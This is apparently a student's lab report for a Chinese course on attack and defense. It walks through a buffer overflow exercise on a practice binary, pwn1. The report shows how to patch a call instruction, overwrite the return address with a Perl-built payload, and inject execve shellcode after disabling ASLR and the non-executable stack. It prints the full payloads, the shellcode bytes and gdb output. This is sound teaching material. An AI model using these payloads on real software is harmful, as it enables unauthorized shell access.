郑州网站建设熊掌号,做淘宝客网站服务器,西安微网站制作,国家企业信用信息公示系统官网河南20232906 2023-2024-2 《网络与系统攻防技术》第九次作业
1.实验内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是#xff1a;main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段#xff0c;getShellmain调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段getShell会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段然后学习如何注入运行任何Shellcode。
本次实验一共使用了三种不同方法进行缓冲区溢出攻击
利用程序中已有的代码片段getShell手工修改可执行文件改变程序执行流程直接跳转到getShell函数。利用foo函数的缓冲区溢出漏洞构造一个攻击输入字符串覆盖返回地址触发getShell函数。利用foo函数的缓冲区溢出漏洞注入一个自己制作的shellcode并运行这段shellcode。
2.实验过程
2.1 直接修改程序机器指令改变程序执行流程 首先将pwn1.zip下载解压并放入Kali中使用命令mv pwn1 pwn20232906将文件名进行修改如图一所示。 图一 修改文件名 利用objdump对pwn20232906进行反汇编并通过管道转发给more作为输入内容便于查看对应Linux命令如下所示 objdump是在类Unix操作系统上显示关于目标文件的各种信息的命令行程序。例如它可用作反汇编器来以汇编代码形式查看可执行文件。它是GNU Binutils的一部分用于在可执行文件和其他二进制数据上进行精细粒度控制。objdump使用BFD库来读取目标文件的内容。 objdump -d pwn20232906 | more如图二所示通过查看反汇编的结果中main函数的相关部分我们可以发现main函数调用call了foo函数d7 ff ff ff而因为有getShell函数的存在我们便可以直接修改该程序将调用的地址改为getShell函数的基地址即可改变程序的执行流程。 图二 反汇编查看pwn20232906中的汇编代码 为了更改地址到getShell函数首先我们得先弄清楚原来调用的地址d7 ff ff ff的意义。这里的地址使用了补码且字节序为小端字节序改写为我们习惯的大端字节序后地址就是ff ff ff d7换算后的数值为-29h其含义为foo函数的首地址距离call指令的下一条指令即80484ba的偏移量为-29相加便可得到foo函数的地址为80484baff ff ff d78048491 这下我们就可以确定如何修改这里的内容了首先算出getShell的首地址相对程序下一条指令地址80484ba的偏移即804847d-80484baff ff ff c3再将其改写为小端字节序可得c3 ff ff ff所以我们需要将原程序中的d7 ff ff ff修改为c3 ff ff ff即可。 首先我们下载十六进制dump工具xxd使用命令如下 apt install xxd为了防止修改过程出现错误故先将pwn20232906程序进行备份使用命令 cp pwn20232906 pwn20232906-1然后再进行修改通过vim打开pwn20232906-1 vi pwn20232906-1再输入如下命令将显示模式切换成16进制模式 :%!xxd“%!”为调用第三方操作对vim内容进行操作如 :%!tr a-z A-Z 把全文小写字母改成大写。 使用如下命令找到对应的数据 /d7ff如图三所示可以找到对应的数据 图三 找到程序中的对应数据内容 修改完毕数据后首先使用如下命令将数据转换为原格式然后再保存退出注意顺序 :%!xxd -r运行经过修改后的pwn20232906-1程序可得结果如图四所示 图四 成功获取Shell
2.2 构造输入字符串覆盖返回地址改变程序执行流 在2.1中我们采用了直接修改程序文件的方式获取到了Shell但如今的程序一般都会采用签名等方式来确保程序的完整性那么我们可不可以不修改程序文件的内容直接通过输入特殊的字符串来修改程序的返回地址呢答案是肯定的。如图五所示我们再观察一下pwn1程序的汇编代码 图五 反汇编查看pwn20232906中的汇编代码 可以发现在main函数调用的foo函数中仅仅只给输入的数据分配了28字节0x1c的空间而堆栈的结构大致如图六所示 图六 堆栈简单结构 也就是说只要我们输入足够长并将输入字符串的第33~36字节填入getShell函数的基地址0804847d就可以让程序跳转到getShell函数的地方了。 为了确认输入的数据应该是按照大端字节序输入还是小端字节序我们通过命令gdb pwn20232906进入调试模式然后输入1111111122222222333333334444444412345678进行验证如图七所示 图七 缓冲区溢出时寄存器数据 可以看出eip寄存器中的值即为“4321”的ASCII码验证了上文中的分析这也说明我们应当使用小端字节序输入getShell函数的首地址即7d 84 04 08 由于我们无法直接输入二进制数据我们需要借助perl语言先生成一个包含getShell函数首地址的文件然后通过管道让文件的内容成为pwn1的输入使用命令如下 perl -e print 11111111222222223333333344444444\x7d\x84\x04\x08\x0a input
# \x0a代表回车如果没有则需要手动敲一下回车来结束输入
(cat input; cat) | ./pwn20232906
# 通过管道让input文件中的内容成为pwn20232906的输入这时我们发现我们已经成功地获得了Shell如图八所示 图八 成功获取Shell
2.3 注入Shellcode并执行 前两种方法能够成功的一个前提——程序中本来就含有getShell函数但我们一般编程的时候是不会主动去为攻击者编写这样的函数。那么对于一个普通的程序来说使用注入Shellcode的方法才能够让这个程序去执行我们想要的功能。 Shellcode就是一段机器指令code通常这段机器指令的目的是为获取一个交互式的shell像linux的shell或类似windows下的cmd.exe所以这段机器指令被称为shellcode。 在实际的应用中凡是用来注入的机器指令段都通称为Shellcode像添加一个用户、运行一条指令。 首先我们需要下载Execstack可以通过链接http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1b10_amd64.deb进行下载下载后找到文件位置使用命令dpkg -i execstack_0.0.20131005-1b10_amd64.deb即可完成安装。 在正式开始之前我们需要对操作系统和程序进行一些设置便于找到我们注入的数据的地址命令如下 execstack -s pwn20232906 //设置堆栈可执行
echo 0 /proc/sys/kernel/randomize_va_space //关闭地址随机化Linux下有两种基本构造攻击buf的方法 retaddrnopshellcodenopshellcoderetaddr 这样构造是因为retaddr在缓冲区的位置是固定的shellcode要不在它前面要不在它后面。 简单来说如果缓冲区小就把shellcode放后边如果缓冲区大就把shellcode放前边 nop的作用一是为了当作填充数据二是作为“着陆区/滑行区”这样可以减小我们猜测返回地址的难度使我们猜的返回地址只要落在任何一个nop上自然会滑到我们的shellcode 本次实验我们构造的结构为anythingretaddrnopsshellcode其中shellcode的内容如下 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\使用如下命令构建字符串并保存到input_shellcode中其中前四字节还不确定使用12 34h填充。 perl -e print A x 32;print \x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00 input_shellcode接下来我们来确定\x4\x3\x2\x1到底该填什么。打开一个终端注入这段字符串 (cat input_shellcode;cat) | ./pwn20232906再打开另一个终端首先使用命令找到pwn1的进程号 ps -ef | grep pwn20232906
# 这里我返回了如下信息
# root 67761 66720 0 20:29 pts/0 00:00:00 ./pwn20232906
# root 67906 67798 0 20:29 pts/1 00:00:00 grep --colorauto pwn20232906再使用gdb调试该进程 gdb
(gdb) attach [pid]
# 根据上面查找进程号的结果这里pid应该填67761然后反汇编foo函数查看返回指令ret的地址 (gdb) disassemble foo
# 这里我返回了如下信息
# Dump of assembler code for function foo:
# 0x08048491 0: push %ebp
# 0x08048492 1: mov %esp,%ebp
# 0x08048494 3: sub $0x38,%esp
# 0x08048497 6: lea -0x1c(%ebp),%eax
# 0x0804849a 9: mov %eax,(%esp)
# 0x0804849d 12: call 0x8048330 getsplt
# 0x080484a2 17: lea -0x1c(%ebp),%eax
# 0x080484a5 20: mov %eax,(%esp)
# 0x080484a8 23: call 0x8048340 putsplt
# 0x080484ad 28: leave
# 0x080484ae 29: ret
# End of assembler dump.在返回指令的地址处设置断点之后在另外一个终端中按下回车然后再使用c使程序继续运行 break *address
# 根据上面的结果这里的address应该改为0x080484ae
# 在运行程序的终端按下回车
(gdb) c待程序运行到断点处查看此时的esp寄存器的值获得我们注入的字符串的地址 (gdb) info r esp
# 这里我返回了如下信息
# esp 0xffffd02c 0xffffd02c我们使用如下指令查看该地址附近的数据 (gdb) x/16x 0xffffd02c
# 0xffffd02c: 0x04030201 0x90909090 0xc0319090 0x2f2f6850
# 0xffffd03c: 0x2f686873 0x896e6962 0x895350e3 0xb0d231e1
# 0xffffd04c: 0x0080cd0b 0x00333231 0x080484af 0x00000001
# 0xffffd05c: 0xffffd0f4 0xf7e1dff4 0x080484d0 0xf7ffcba0(gdb) x/16x 0xffffcfec
# 0xffffcfec: 0x080484ad 0xffffd00c 0x0000000c 0x00000000
# 0xffffcffc: 0x00000000 0x00000000 0x00000000 0x00000013
# 0xffffd00c: 0x41414141 0x41414141 0x41414141 0x41414141
# 0xffffd01c: 0x41414141 0x41414141 0x41414141 0x41414141从0xffffd02c开始观察可以发现数据采用小端字节序并且将返回地址改为ff ff d0 30就可以让程序执行Shellcode这样一来\x1\x2\x3\x4就应该修改为\x30\xd0\xff\xff于是我们便重新利用perl语言将返回地址修改正确并在最后加上回车0x0a然后重新运行程序。 perl -e print A x 32;print \x30\xd0\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a input_shellcode
(cat input_shellcode;cat) | ./pwn20232906这时我们发现我们已经成功地获得了Shell如图九所示 图九 成功获取Shell
3.问题及解决方案 问题1在2.3时使用命令execstack操作系统提示——无法定位软件包 execstack 问题1解决方案通过百度搜索我找到了execstack的官方网站并成功找到了execstack的安装包由于kali是Debian的发行版所以选择了Debian版本的进行下载具体下载地址见下面的链接。进入链接后在Download处即可找到资源的下载链接。 https://debian.pkgs.org/10/debian-main-amd64/execstack_0.0.20131005-1b10_amd64.deb.html 下载到本地后使用apt的命令即可完成安装 apt install ./execstack_0.0.20131005-1b10_amd64.deb问题2在2.3中获取地址后修改字符串的数据然后重新执行发现依旧不成功 问题2解决方案使用gdb进行调试发现了每一次esp中的地址都不相同结合实验指导书的相关内容发现是没有关闭地址随机化使用相应命令关闭地址随机化即可。 echo 0 /proc/sys/kernel/randomize_va_space //关闭地址随机化4.学习感悟、思考等
本次实验进行的是缓冲区溢出攻击通过动手实践的方式我弄懂了缓冲区溢出的基本原理和常用的方法以及可执行程序的分析方法。在本次实验中经过王老师的讲解和刘老师的博客我成功地入门了缓冲区溢出这一个我曾以为困难重重的课题。同时此次实验也使我对于二进制文件有了初步的了解拿到了二进制文件我也不再会不知所措而是可以通过工具对其进行一定的分析可以说收获颇多。
本次实验也暴露出了我在某些方面还有所欠缺例如对于汇编语言的了解还不够深入很多命令还需要老师的点拨才能够明白它的功能本次实验中的Shellcode是老师直接提供给我的是只针对于获得Shell这个功能的。如果要实现其他的功能编写自己的Shellcode还需要我对于Shellcode的相关知识认真学习本次实验对于地址随机化和堆栈保护都进行了关闭那么在地址随机化和堆栈保护开启的时候如何进行缓冲区溢出攻击也值得我深入思考。只有这样我才能够在此次实验的基础上取得更大的进步。
最后感谢王老师和刘老师的细心讲解和耐心帮助也感谢在实验过程中给我帮助的同学们。正因为有你们的帮助我才能够顺利地完成本次实验谢谢
参考资料
0x11_MAL 逆向与Bof基础 - wildlinuxexecstack_0.0.20131005-1b10_amd64.deb